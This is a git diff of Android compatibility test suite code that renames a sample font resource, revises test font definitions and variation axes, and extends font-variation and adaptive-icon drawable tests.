--- a/tests/tests/content/res/font/invalid_xmlfamily.xml
+++ b/tests/tests/content/res/font/invalid_xmlfamily.xml
@@ -1,3 +1,3 @@
 <invalid-tag xmlns:android="http://schemas.android.com/apk/res/android">
-  <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+  <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
 </invalid-tag>
diff --git a/tests/tests/content/res/font/invalid_xmlfont.xml b/tests/tests/content/res/font/invalid_xmlfont.xml
index 28f3683..38f03c4 100644
--- a/tests/tests/content/res/font/invalid_xmlfont.xml
+++ b/tests/tests/content/res/font/invalid_xmlfont.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
 <font-family xmlns:android="http://schemas.android.com/apk/res/android">
   <!-- the tag inside font-family must be 'font' -->
-  <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+  <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
 </font-family>
diff --git a/tests/tests/content/res/font/samplefont.ttf b/tests/tests/content/res/font/samplefont.ttf
deleted file mode 100644
index 49f1c62..0000000
--- a/tests/tests/content/res/font/samplefont.ttf
+++ /dev/null
Binary files differ
diff --git a/tests/tests/content/res/font/samplexmlfont.xml b/tests/tests/content/res/font/samplexmlfont.xml
index 2905c13..ebf5cd2 100644
--- a/tests/tests/content/res/font/samplexmlfont.xml
+++ b/tests/tests/content/res/font/samplexmlfont.xml
@@ -1,4 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
 <font-family xmlns:android="http://schemas.android.com/apk/res/android">
-    <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+    <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
 </font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/values/styles.xml b/tests/tests/content/res/values/styles.xml
index e8b462c..91191cf 100644
--- a/tests/tests/content/res/values/styles.xml
+++ b/tests/tests/content/res/values/styles.xml
@@ -34,7 +34,7 @@
         <item name="type15">@array/difficultyLevel</item>
         <item name="type16">Typed Value!</item>
         <item name="type17">@color/testcolor_orientation</item>
-        <item name="type18">@font/samplefont</item>
+        <item name="type18">@font/sample_regular_font</item>
         <item name="typeEmpty">@empty</item>
         <item name="typeUndefined">@null</item>
     </style>
diff --git a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
index 1c12aff..23afe68 100644
--- a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
+++ b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
@@ -27,7 +27,7 @@
  */
 public class PrivateAttributeTest extends AndroidTestCase {
 
-    private static final int sLastPublicAttr = 0x01010530;
+    private static final int sLastPublicAttr = 0x01010568;
 
     public void testNoAttributesAfterLastPublicAttribute() throws Exception {
         if (!Build.VERSION.CODENAME.equals("REL")) {
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index e8fe4bf..5856a0c 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -766,7 +766,7 @@
     }
 
     public void testGetFont_fontFile() {
-        Typeface font = mResources.getFont(R.font.samplefont);
+        Typeface font = mResources.getFont(R.font.sample_regular_font);
 
         assertNotNull(font);
         assertNotSame(Typeface.DEFAULT, font);
@@ -841,8 +841,8 @@
     }
 
     public void testGetFont_fontFileIsCached() {
-        Typeface font = mResources.getFont(R.font.samplefont);
-        Typeface font2 = mResources.getFont(R.font.samplefont);
+        Typeface font = mResources.getFont(R.font.sample_regular_font);
+        Typeface font2 = mResources.getFont(R.font.sample_regular_font);
 
         assertEquals(font, font2);
     }
diff --git a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
index fa8b859..4e1469b 100644
--- a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
+++ b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
@@ -170,7 +170,7 @@
         }
 
         final Typeface font = t.getFont(R.styleable.style1_type18);
-        assertEquals(mContext.getResources().getFont(R.font.samplefont), font);
+        assertEquals(mContext.getResources().getFont(R.font.sample_regular_font), font);
 
         // NOTE: order does not matter here.
         // R.styleable.style1_typeUndefined is not expected because TYPE_NULL values do not get
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index ece0908..360e09f 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -34,8 +34,6 @@
         <activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
                   android:theme="@style/WhiteBackgroundNoWindowAnimation"
                   android:screenOrientation="locked"/>
-
-        <activity android:name="android.graphics.fonts.cts.MockActivity"/>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/graphics/assets/multiaxis.ttf b/tests/tests/graphics/assets/multiaxis.ttf
index 606f555..6e78c28 100644
--- a/tests/tests/graphics/assets/multiaxis.ttf
+++ b/tests/tests/graphics/assets/multiaxis.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/multiaxis.ttx b/tests/tests/graphics/assets/multiaxis.ttx
index 5b31644..7d7279e 100644
--- a/tests/tests/graphics/assets/multiaxis.ttx
+++ b/tests/tests/graphics/assets/multiaxis.ttx
@@ -162,28 +162,21 @@
 
   <fvar>
     <Axis>
-      <AxisTag>aaaa</AxisTag>
+      <AxisTag>wght</AxisTag>
+      <MinValue>0</MinValue>
+      <DefaultValue>400</DefaultValue>
+      <MaxValue>700</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+    <Axis>
+      <AxisTag>PRIV</AxisTag>
       <MinValue>-1.0</MinValue>
       <DefaultValue>0.0</DefaultValue>
       <MaxValue>1.0</MaxValue>
       <NameID>256</NameID>
     </Axis>
     <Axis>
-      <AxisTag>BBBB</AxisTag>
-      <MinValue>-1.0</MinValue>
-      <DefaultValue>0.0</DefaultValue>
-      <MaxValue>1.0</MaxValue>
-      <NameID>256</NameID>
-    </Axis>
-    <Axis>
-      <AxisTag>a b </AxisTag>
-      <MinValue>-1.0</MinValue>
-      <DefaultValue>0.0</DefaultValue>
-      <MaxValue>1.0</MaxValue>
-      <NameID>256</NameID>
-    </Axis>
-    <Axis>
-      <AxisTag> C D</AxisTag>
+      <AxisTag>PR12</AxisTag>
       <MinValue>-1.0</MinValue>
       <DefaultValue>0.0</DefaultValue>
       <MaxValue>1.0</MaxValue>
@@ -216,6 +209,9 @@
     <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
       MultiAxisFontTest-Regular
     </namerecord>
+    <namerecord nameID="256" platformID="3" platEncID="1" langID="0x409">
+      Axis Name
+    </namerecord>
   </name>
 
   <post>
diff --git a/tests/tests/graphics/assets/samplefont.ttf b/tests/tests/graphics/assets/samplefont.ttf
index 49f1c62..5fccad2 100644
--- a/tests/tests/graphics/assets/samplefont.ttf
+++ b/tests/tests/graphics/assets/samplefont.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont.ttx b/tests/tests/graphics/assets/samplefont.ttx
new file mode 100644
index 0000000..f618123
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/samplefont2.ttf b/tests/tests/graphics/assets/samplefont2.ttf
index b8302d4..f31b8a9 100644
--- a/tests/tests/graphics/assets/samplefont2.ttf
+++ b/tests/tests/graphics/assets/samplefont2.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont2.ttx b/tests/tests/graphics/assets/samplefont2.ttx
index 40fa268..f618123 100644
--- a/tests/tests/graphics/assets/samplefont2.ttx
+++ b/tests/tests/graphics/assets/samplefont2.ttx
@@ -136,17 +136,8 @@
   </glyf>
 
   <name>
-    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Regular
-    </namerecord>
-    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      SampleFont-Regular
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
     </namerecord>
     <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
       Sample Font
@@ -160,6 +151,18 @@
     <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
       SampleFont-Regular
     </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
   </name>
 
   <post>
diff --git a/tests/tests/graphics/assets/samplefont3.ttf b/tests/tests/graphics/assets/samplefont3.ttf
index f0e7524..9c850ab 100644
--- a/tests/tests/graphics/assets/samplefont3.ttf
+++ b/tests/tests/graphics/assets/samplefont3.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont3.ttx b/tests/tests/graphics/assets/samplefont3.ttx
index f053408..b3f08e6 100644
--- a/tests/tests/graphics/assets/samplefont3.ttx
+++ b/tests/tests/graphics/assets/samplefont3.ttx
@@ -136,17 +136,8 @@
   </glyf>
 
   <name>
-    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Regular
-    </namerecord>
-    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      SampleFont-Regular
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
     </namerecord>
     <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
       Sample Font
@@ -160,6 +151,18 @@
     <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
       SampleFont-Regular
     </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
   </name>
 
   <post>
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
similarity index 70%
copy from tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
copy to tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
index 3fbf255..cde4bcb 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ b/tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
@@ -1,4 +1,5 @@
-/*
+<?xml version="1.0" encoding="utf-8"?>
+<!--
  * Copyright (C) 2017 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,12 +13,9 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- */
+ -->
 
-package android.graphics.fonts.cts;
-
-import android.app.Activity;
-
-public class MockActivity extends Activity {
-
-}
\ No newline at end of file
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/testimage"/>
+    <foreground android:drawable="@drawable/start"/>
+</adaptive-icon>
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 924b23c..0d70947 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
@@ -903,34 +904,45 @@
     }
 
     @Test
+    public void testSetFontVariationSettings_defaultTypeface() {
+        new Paint().setFontVariationSettings("'wght' 400");
+    }
+
+    @Test
     public void testSetGetFontVariationSettings() {
+        final Paint defaultPaint = new Paint();
+
         Paint p = new Paint();
         Context context = InstrumentationRegistry.getTargetContext();
         Typeface typeface = Typeface.createFromAsset(context.getAssets(), "multiaxis.ttf");
         p.setTypeface(typeface);
 
-        // multiaxis.ttf supports "aaaa", "BBBB", "a b ", " C D" axes.
+        // multiaxis.ttf supports "wght", "PRIV", "PR12" axes.
 
         // The default variation settings should be null.
         assertNull(p.getFontVariationSettings());
 
         final String[] nonEffectiveSettings = {
-                "'bbbb' 1.0",  // unsupported tag
-                "'    ' 1.0",  // unsupported tag
-                "'AAAA' 0.7",  // unsupported tag (case sensitive)
-                "' a b' 1.3",  // unsupported tag (white space should not be ignored)
-                "'C D ' 1.3",  // unsupported tag (white space should not be ignored)
-                "'bbbb' 1.0, 'cccc' 2.0",  // none of them are supported.
+                "'slnt' 30",  // unsupported tag
+                "'BBBB' 1.0",  // unsupported tag
+                "'A   ' 1.0",  // unsupported tag
+                "'PR0 ' 1.3",  // unsupported tag
+                "'WGHT' 0.7",  // unsupported tag (case sensitive)
+                "'BBBB' 1.0, 'CCCC' 2.0",  // none of them are supported.
         };
 
         for (String notEffectiveSetting : nonEffectiveSettings) {
-            assertFalse("Must return false for " + notEffectiveSetting,
-                    p.setFontVariationSettings(notEffectiveSetting));
-            assertNull("Must not change settings for " + notEffectiveSetting,
-                    p.getFontVariationSettings());
+            if (!defaultPaint.setFontVariationSettings(notEffectiveSetting)) {
+                // Test only when the system font don't support the above axes. OEMs may add
+                // their fonts and these font may support above axes.
+                assertFalse("Must return false for " + notEffectiveSetting,
+                        p.setFontVariationSettings(notEffectiveSetting));
+                assertNull("Must not change settings for " + notEffectiveSetting,
+                        p.getFontVariationSettings());
+            }
         }
 
-        String retainSettings = "'aaaa' 1.0";
+        String retainSettings = "'wght' 400";
         assertTrue(p.setFontVariationSettings(retainSettings));
         for (String notEffectiveSetting : nonEffectiveSettings) {
             assertFalse(p.setFontVariationSettings(notEffectiveSetting));
@@ -940,15 +952,14 @@
 
         // At least one axis is supported, the settings should be applied.
         final String[] effectiveSettings = {
-                "'aaaa' 1.0",  // supported tag
-                "'a b ' .7",  // supported tag (contains whitespace)
-                "'aaaa' 1.0, 'BBBB' 0.5",  // both are supported
-                "'aaaa' 1.0, ' C D' 0.5",  // both are supported
-                "'aaaa' 1.0, 'bbbb' 0.4",  // 'bbbb' is unspported.
+                "'wght' 300",  // supported tag
+                "'wght' 300, 'PRIV' 0.5",  // both are supported
+                "'PRIV' 1.0, 'BBBB' 0.4",  // 'BBBB' is unsupported
         };
 
         for (String effectiveSetting : effectiveSettings) {
-            assertTrue(p.setFontVariationSettings(effectiveSetting));
+            assertTrue("Must return true for " + effectiveSetting,
+                    p.setFontVariationSettings(effectiveSetting));
             assertEquals(effectiveSetting, p.getFontVariationSettings());
         }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 3ab7425..66b55f2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -30,8 +30,6 @@
 import android.content.res.AssetManager;
 import android.graphics.Paint;
 import android.graphics.Typeface;
-import android.graphics.fonts.FontVariationAxis;
-import android.provider.FontsContract;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
index 54021b9..e2254a7 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
@@ -1,35 +1,133 @@
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.ColorFilter;
 import android.graphics.Path;
 import android.graphics.Path.Direction;
+import android.graphics.PixelFormat;
 import android.graphics.Rect;
 import android.graphics.Region;
+import android.graphics.cts.R;
 import android.graphics.drawable.AdaptiveIconDrawable;
+import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.test.AndroidTestCase;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.graphics.drawable.StateListDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
 import android.util.Log;
+import android.util.Xml;
 import java.io.File;
 import java.io.FileOutputStream;
 import java.util.Arrays;
 import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
-public class AdaptiveIconDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AdaptiveIconDrawableTest {
 
     public static final String TAG = AdaptiveIconDrawableTest.class.getSimpleName();
     public static void L(String s, Object... parts) {
         Log.d(TAG, (parts.length == 0) ? s : String.format(s, parts));
     }
-    private Drawable mBackgroundDrawable;
-    private Drawable mForegroundDrawable;
-    private AdaptiveIconDrawable mIconDrawable;
-    private File mDir;
+
+    @Test
+    public void testConstructor() {
+        new AdaptiveIconDrawable(null, null);
+    }
+
+    @Test
+    public void testInflate() throws Throwable {
+        AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+
+        Resources r = InstrumentationRegistry.getTargetContext().getResources();
+        XmlPullParser parser = r.getXml(R.layout.framelayout_layout);
+        AttributeSet attrs = Xml.asAttributeSet(parser);
+
+        // Should not throw inflate exception
+        dr.inflate(r, parser, attrs);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testInflateNull() throws Throwable {
+        AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+        dr.inflate(null, null, null);
+    }
+
+    @Test
+    public void testDraw() {
+        Canvas c = new Canvas();
+        AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+        dr.draw(c);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testDrawNull() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setBounds(0, 0, 100, 100);
+        iconDrawable.draw(null);
+    }
+
+    @Test
+    public void testInvalidateDrawable() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.invalidateDrawable(
+            InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass));
+    }
+
+    @Test
+    public void testScheduleDrawable() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.scheduleDrawable(
+            InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass),
+            () -> {}, 10);
+
+        // input null as params
+        iconDrawable.scheduleDrawable(null, null, -1);
+        // expected, no Exception thrown out, test success
+    }
+
+    @Test
+    public void testUnscheduleDrawable() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.unscheduleDrawable(
+            InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass), () -> {});
+
+        // input null as params
+        iconDrawable.unscheduleDrawable(null, null);
+        // expected, no Exception thrown out, test success
+    }
+
+    @Test
+    public void testGetChangingConfigurations() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setChangingConfigurations(11);
+        assertEquals(11, iconDrawable.getChangingConfigurations());
+
+        iconDrawable.setChangingConfigurations(-21);
+        assertEquals(-21, iconDrawable.getChangingConfigurations());
+    }
 
     /**
      * When setBound isn't called before draw method is called.
@@ -37,22 +135,23 @@
      */
     @Test
     public void testDrawWithoutSetBounds() throws Exception {
-        mBackgroundDrawable = new ColorDrawable(Color.BLUE);
-        mForegroundDrawable = new ColorDrawable(Color.RED);
-        mIconDrawable = new AdaptiveIconDrawable(mBackgroundDrawable, mForegroundDrawable);
-        mDir = getContext().getExternalFilesDir(null);
-        L("writing temp bitmaps to %s...", mDir);
+        Drawable backgroundDrawable = new ColorDrawable(Color.BLUE);
+        Drawable foregroundDrawable = new ColorDrawable(Color.RED);
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(backgroundDrawable, foregroundDrawable);
+        Context context = InstrumentationRegistry.getTargetContext();
+        File dir = context.getExternalFilesDir(null);
+        L("writing temp bitmaps to %s...", dir);
 
         final Bitmap bm_test = Bitmap.createBitmap(150, 150, Bitmap.Config.ARGB_8888);
         final Bitmap bm_org = bm_test.copy(Config.ARGB_8888, false);
         final Canvas can1 = new Canvas(bm_test);
 
         // Even when setBounds is not called, should not crash
-        mIconDrawable.draw(can1);
+        iconDrawable.draw(can1);
         // Draws nothing! Hence same as original.
         if (!equalBitmaps(bm_test, bm_org)) {
             findBitmapDifferences(bm_test, bm_org);
-            fail("bm differs, check " + mDir);
+            fail("bm differs, check " + dir);
         }
     }
 
@@ -68,29 +167,29 @@
         int bottom = 90 * dpi;
         int width = right - left;
         int height = bottom - top;
-
-        mIconDrawable = (AdaptiveIconDrawable) getContext().getResources().getDrawable(android.R.drawable.sym_def_app_icon);
-        mDir = getContext().getExternalFilesDir(null);
-        L("writing temp bitmaps to %s...", mDir);
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawable = (AdaptiveIconDrawable) context.getResources().getDrawable(android.R.drawable.sym_def_app_icon);
+        File dir = context.getExternalFilesDir(null);
+        L("writing temp bitmaps to %s...", dir);
         final Bitmap bm_org = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
         final Canvas can_org = new Canvas(bm_org);
-        mIconDrawable.setBounds(0, 0, width, height);
-        mIconDrawable.draw(can_org);
+        iconDrawable.setBounds(0, 0, width, height);
+        iconDrawable.draw(can_org);
 
         // Tested bitmap is drawn from the adaptive icon drawable.
         final Bitmap bm_test = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
